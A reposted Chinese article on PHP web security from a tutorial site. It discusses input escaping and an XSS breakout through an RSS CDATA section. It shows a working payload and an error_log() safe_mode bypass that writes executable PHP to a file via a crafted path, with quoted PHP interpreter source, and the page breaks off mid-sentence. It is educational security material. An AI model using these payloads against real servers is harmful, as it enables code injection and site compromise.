当前位置: 首页 > 图文教程 > 网络编程 > PHP > PHP泛安全

PHP
PHP 执行系统外部命令 system() exec() passthru()
最新的php 文件上传模型,支持多文件上传
php 静态页面中显示动态内容
数据库查询记录php 多行多列显示
谈PHP生成静态页面分析 模板+缓存+写文件
PHP 各种排序算法实现代码
PHP nl2br函数 将换行字符转成 <br>
php 分页原理详解
Discuz 模板语句分析及知识技巧
php win下Socket方式发邮件类
怎样去阅读一份php源代码
建站常用13种PHP开源CMS比较
php xml留言板 xml存储数据的简单例子
PHP 开源AJAX框架14种
PHP 替换模板变量实现步骤
PHP has encountered an Access Violation at 7C94BD02解决方法
php 正则匹配函数体
php 文件夹删除、php清除缓存程序
php download.php实现代码 跳转到下载文件(response.redirect)
PHP类(Class)入门教程

PHP泛安全


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-03   浏览: 278 ::
收藏到网摘: n/a

/*---------------
*Author:xy7
*Data:2006/11/1
*---------------
*/


如今基于PHP的WEB程序是越来越安全了,php.ini默认时的 magic_quotes_gpc=on就在初始安全性上提高了一个档次.很多程序在接受到用户的输入时都会提前判断一下 get_magic_quotes_gpc() 即使这个开关没有开就马上addslashes()函数跟上进行转义,所以想在PHP程序中找到一个类似与以前ASP注入那样的漏洞是比较不容易的.
对于PHP的跨站其实也很好防范,用 htmlentities() 就可以了,不过当处理XML文件时采用这个函数可能会出现些问题,只需手工转换下那5个元字符就可以了。举个例子,以前写过篇文章关于XML文件隐患的,其实就是CDATA部件的问题,现在比较流行的说法是AJAX hacking,大概说下,看看以下代码:
if ($rssid == 0 OR $rssid == 7) {
} elseif (!empty($stmt)) {
    $dbinfo =& $db->getResultSet($stmt, array('pageSize'=>$pagesize));
    if ($dbinfo === false) {
        $msginfo = str_replace(']]>', ']]>', $lang['tpl.str0']);
        $TPL_items .= <<<EOT
        <item>
            <title>{$msginfo}</title>
            <link>{$fsetting['forumurl']}</link>
            <author>{$fsetting['forumname']}</author>
            <pubDate>{$datenow}</pubDate>
            <description><![CDATA[{$msginfo}]]></description>
        </item>
EOT;
$msginfo是用户提交的,然后被程序写进RSS里以用来聚合,如果$msginfo的值为<sciript>alert('loveshell')</script>时,RSS聚合解析后会原样输出,如果为]]><sciript>alert('loveshell')</script>时,就可以跨站了,看看他的过滤:
if ($dbinfo === false) {
        $msginfo = str_replace(']]>', ']]>', $lang['tpl.str0']);
很好意识到了这点,可是这句呢<title>{$msginfo}</title>,意识到问题所在很关键,重要的是要理解问题.

可是还是有很多会被程序员疏忽的地方,这是安全意识的问题,对于用户的任何输入,在写程序时脑子里都要提前做个思考:用户的输入是什么类型的?用户会有哪些输入方式?怎么处理用户的错误和非常规输入?
PHP的安全还体现在Safe Mode 和openbase-dir上.即使这样基于PHP底层的一些漏洞还是会直接影响到这两个非常重要的安全选项.举个例子:
比如error_log() Safe Mode Bypass
看他的语法:bool error_log ( string message [, int message_type [, string destination [, string extra_headers]]] )
输出错误信息到一个文件,可以这样写
<?
error_log("<? phpinfo();?>", 3, "test.php");
?>
运行在safe_mode关闭的情况下,直接访问test.php就可以看到phpinfo了,当safe_mode开的时候就会报错,再这样写:
<?
error_log("<? phpinfo();?>", 3, "prefix://../../test.php");
?>可以看到phpinfo又被执行了
看下漏洞代码:
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)

{

php_stream *stream = NULL;

switch (opt_err) {

case 1: /*send an email */

{

#if HAVE_SENDMAIL

if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {


return FAILURE;

}

php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");

return FAILURE;

}

break;

case 2: /*send to an address */

php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");

return FAILURE;

break;

case 3: /*save to a file */

stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);

if (!stream)

return FAILURE;

php_stream_write(stream, message, strlen(message));

php_stream_close(stream);

break;

default:

php_log_err(message TSRMLS_CC);

break;

}

return SUCCESS;

}
可以看到error_log函数的核心就是 php_stream_open_wrapper()函数,问题也就出在保存错误信息